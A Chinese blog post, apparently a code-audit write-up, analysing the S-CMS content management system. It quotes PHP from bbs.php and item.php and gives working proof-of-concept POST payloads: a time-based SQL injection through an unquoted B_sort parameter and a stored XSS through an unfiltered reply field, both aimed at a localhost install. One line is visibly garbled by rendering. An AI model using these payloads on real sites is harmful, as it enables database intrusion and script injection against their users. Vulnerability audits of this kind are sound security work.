s-cms代码审计一注入一xss

本文分析了bbs.php文件中的延时注入漏洞,由于$B_sort参数未经有效过滤直接用于SQL查询,导致SQL注入风险。同时,item.php文件存在存储型XSS漏洞,B_contentx参数未进行安全检查,允许恶意脚本存储于数据库并影响后续用户。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

在bbs.php文件出现延时注入

require '../conn/conn2.php';
require '../conn/function.php';
$action=$_GET["action"];
$S_id=$_GET["S_id"];
if($action=="add"){
$B_title=htmlspecialchars($_POST["B_title"]);
$B_sort=$_POST["B_sort"];
$B_content=htmlspecialchars($_POST["B_content"]);
$S_sh=getrs("select * from SL_bsort where S_id=".intval($B_sort),"S_sh");
if($S_sh==1){
$B_sh=0;
}else{
$B_sh=1;
}
mysqli_query($conn,"insert into SL_bbs(B_title,B_content,B_time,B_mid,B_sort,B_sh) values('".$B_title."','".$B_content."','".date('Y-m-d H:i:s')."',".$_SESSION["M_id"].",".$B_sort.",".$B_sh.")");
$sql="Select * from SL_bbs order by B_id desc limit 1";
$result = mysqli_query($conn, $sql);
$row = mysqli_fetch_assoc($result);
if (mysqli_num_rows($result) > 0) {
  $B_id=$row["B_id"];
}
if($B_sh==1){
box("发布成功!","item.php?id=".$B_id,"success");
}else{
box("发布成功!请等待审核","./","success");
}

这个注入比较简单,$B_sort 无过滤直接从post获取,然而在select查询的时候使用了intval函数来过滤变量。不过后面在insert的时候却没有任何过滤(无单引号包含)导致sql注入。

Payload:

--http://localhost:8088/scms/1.com.php/bbs/bbs.php?action=add
--post--B_title=test&B_content=test11&B_sort=1 and sleep(5)

在item.php文件出现存储xss

if($action=="reply"){
$B_contentx=$_POST["B_content"];
mysqli_query($conn,"insert into SL_bbs(B_title,B_content,B_time,B_mid,B_sub,B_sort) values('[回复]".$B_title."','".$B_contentx."','".date('Y-m-d H:i:s')."',".$_SESSION["M_id"].",".$id.",".$B_sort.")");
box("回复成功!","item.php?id=".$id,"success");
}

看到 B c o n t e n t x = B_contentx= Bcontentx=_POST[“B_content”]无过滤,这里会触发储存xss漏洞。
首先随便以一个游客身份登陆。然后执行下面的payload

payload:

--http://localhost:8088/scms/1.com.php/bbs/item.php?action=reply
--post--B_title=<script>alert('foolish!')</script>&B_sort=1&B_content=1<script>alert('foolish!')</script>&id=2

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值